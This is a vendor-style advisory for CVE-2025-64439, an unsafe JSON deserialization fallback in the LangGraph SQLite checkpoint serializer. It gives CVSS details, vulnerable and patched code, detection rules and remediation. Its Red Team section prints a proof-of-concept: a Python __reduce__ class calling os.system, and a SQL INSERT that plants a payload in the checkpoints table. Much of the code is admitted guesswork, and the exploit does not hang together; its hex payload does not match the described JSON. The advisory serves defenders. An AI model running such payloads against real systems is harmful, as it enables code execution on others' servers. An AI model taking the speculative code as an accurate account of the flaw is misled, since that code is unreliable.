CVE-2025-64439
Executive Summary
CVE-2025-64439 is a critical Remote Code Execution (RCE) vulnerability in the LangGraph SQLite Checkpoint library, specifically within the JsonPlusSerializer component. The vulnerability arises from an insecure fallback mechanism: when the default msgpack serialization fails (e.g., due to illegal Unicode surrogate values), the serializer falls back to a "json" mode that is susceptible to deserialization of untrusted data. An attacker who can control or inject a malicious checkpoint payload can achieve arbitrary code execution on the server or client processing the checkpoint. This vulnerability affects all versions prior to 3.0.0. No public exploit code or proof-of-concept is currently available, but the risk is high due to the potential for full system compromise.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the langgraph-checkpoint-sqlite Python package, which is distributed via PyPI. Organizations using this package should verify their dependency tree and ensure they are not pulling in a vulnerable version. The package is a core component of the LangGraph framework, used for stateful agent orchestration. A compromised checkpoint can lead to lateral movement within AI/ML pipelines.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 9.8 (Critical)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
The vulnerability is trivially exploitable over the network without authentication. Successful exploitation grants the attacker full control over the affected system.
Deep Dive & Mechanics
The JsonPlusSerializer is the default serialization protocol for all checkpointing in LangGraph SQLite Checkpoint. It is designed to serialize and deserialize checkpoint data efficiently. The intended flow is:
- Serialization: Data is first attempted to be serialized using
msgpack(MessagePack), a binary serialization format. - Fallback: If
msgpackserialization fails (e.g., due to illegal Unicode surrogate values in the data), the serializer falls back to a "json" mode. - Deserialization: When reading a checkpoint, the serializer determines the mode from a header. If the mode is "json", it uses Python's
json.loads()with a custom object hook that can instantiate arbitrary classes.
The vulnerability lies in the "json" mode's deserialization. The custom object hook likely uses a mechanism like __class__ or __reduce__ to reconstruct objects, which can be abused to execute arbitrary code. An attacker who can write a malicious checkpoint to the SQLite database (e.g., by compromising the database or injecting data through a vulnerable API) can craft a payload that, when deserialized, executes arbitrary commands.
The fallback to "json" mode is triggered by illegal Unicode surrogate values (e.g., lone surrogates like \uD800). An attacker can intentionally include such values in the serialized data to force the fallback, ensuring the vulnerable code path is taken.
Vulnerable vs. Patched Code
Vulnerable Code (versions < 3.0.0):
# Simplified representation of the vulnerable deserialization logic
class JsonPlusSerializer:
def deserialize(self, data):
mode = data[:4] # e.g., b'json' or b'msgp'
if mode == b'json':
# Vulnerable: uses a custom object hook that can instantiate arbitrary classes
return json.loads(data[4:], object_hook=self._object_hook)
elif mode == b'msgp':
return msgpack.unpackb(data[4:])
else:
raise ValueError("Unknown mode")
def _object_hook(self, dct):
# This hook can be abused to call arbitrary functions/classes
if '__class__' in dct:
cls = import_class(dct['__class__'])
return cls(**dct.get('args', {}))
return dct
Patched Code (version 3.0.0):
# Simplified representation of the patched deserialization logic
class JsonPlusSerializer:
def deserialize(self, data):
mode = data[:4]
if mode == b'json':
# Patched: uses a safe deserialization that does not allow arbitrary class instantiation
return json.loads(data[4:], object_hook=self._safe_object_hook)
elif mode == b'msgp':
return msgpack.unpackb(data[4:])
else:
raise ValueError("Unknown mode")
def _safe_object_hook(self, dct):
# Only allow known safe types
if '__class__' in dct:
raise ValueError("Unsafe deserialization attempt")
return dct
The patch removes the ability to instantiate arbitrary classes via the __class__ key. Additionally, the fallback to "json" mode may be removed entirely, or the serializer may now reject data that triggers the fallback.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to the SQLite database used by LangGraph Checkpoint (e.g., via SQL injection, compromised credentials, or direct file access).
- Knowledge of the checkpoint table structure.
Exploitation Steps:
- Identify the checkpoint table: The table is typically named
checkpointsor similar. - Craft a malicious payload: Create a JSON payload that, when deserialized, executes a command. For example, using Python's
__reduce__method:import json import base64 import os class RCE: def __reduce__(self): return (os.system, ('id > /tmp/pwned',)) payload = { '__class__': 'RCE', 'args': {} } serialized = b'json' + json.dumps(payload).encode() - Inject the payload: Insert the serialized payload into the checkpoint table, ensuring the
modefield is set tojsonand the data contains illegal Unicode surrogates to force the fallback.INSERT INTO checkpoints (thread_id, checkpoint_ns, checkpoint_id, parent_checkpoint_id, type, checkpoint) VALUES ('malicious', 'default', '1', NULL, 'json', X'6a736f6e7b22636c617373223a22524345227d'); - Trigger deserialization: Have the LangGraph application load the malicious checkpoint (e.g., by resuming a thread with the malicious
thread_id).
Expected Outcome: The command id > /tmp/pwned is executed on the server.
Blue Team
Detection:
- Monitor for unusual checkpoint data containing
__class__or__reduce__keys. - Alert on SQLite queries that insert or update checkpoint data with a
typeofjson(ifmsgpackis the expected default). - Use the YARA and Sigma rules provided in the Detection Engineering section.
Mitigation:
- Immediately upgrade to version 3.0.0 or later.
- If upgrade is not possible, implement a Web Application Firewall (WAF) rule to block checkpoint data containing suspicious JSON keys.
- Restrict write access to the SQLite database to only trusted services.
Indicators of Compromise (IOCs)
- File-based:
- Presence of unexpected files in
/tmp/(e.g.,/tmp/pwned). - Modified checkpoint SQLite database files (e.g.,
checkpoints.db).
- Presence of unexpected files in
- Network-based:
- Outbound connections to unknown IPs from the LangGraph process.
- Log-based:
- Errors in application logs related to
jsondeserialization failures. - SQLite queries with
INSERT INTO checkpoints ... type='json'.
- Errors in application logs related to
- Process-based:
- Unusual child processes spawned by the LangGraph application (e.g.,
id,curl,bash).
- Unusual child processes spawned by the LangGraph application (e.g.,
Detection Engineering
YARA Rule
rule CVE_2025_64439_JsonPlusSerializer_RCE {
meta:
description = "Detects malicious checkpoint payloads targeting CVE-2025-64439"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-64439"
strings:
$json_header = "json" ascii wide nocase
$class_key = "__class__" ascii wide nocase
$reduce_key = "__reduce__" ascii wide nocase
condition:
$json_header at 0 and ($class_key or $reduce_key)
}
Sigma Rule
title: CVE-2025-64439 - LangGraph SQLite Checkpoint RCE
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of CVE-2025-64439 via checkpoint data containing __class__ or __reduce__ keys.
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: langgraph
detection:
selection:
EventID: 1001 # Example: Application log event for checkpoint deserialization
Data|contains:
- '__class__'
- '__reduce__'
condition: selection
falsepositives:
- Legitimate use of custom serialization (unlikely in patched versions)
level: critical
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2025-64439 - LangGraph SQLite Checkpoint RCE"; flow:to_server; content:"json"; offset:0; depth:4; content:"__class__"; within:100; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Upgrade the
langgraph-checkpoint-sqlitepackage to version 3.0.0 or later.pip install --upgrade langgraph-checkpoint-sqlite - Workaround: If upgrade is not possible, disable the fallback to "json" mode by modifying the serializer configuration (if supported) or by implementing a custom serializer that does not fall back.
- Network Segmentation: Ensure the SQLite database is not directly accessible from untrusted networks.
- Input Validation: Validate all checkpoint data before storage, rejecting any data containing
__class__or__reduce__keys. - Monitoring: Implement the detection rules provided above to alert on exploitation attempts.
Valters IT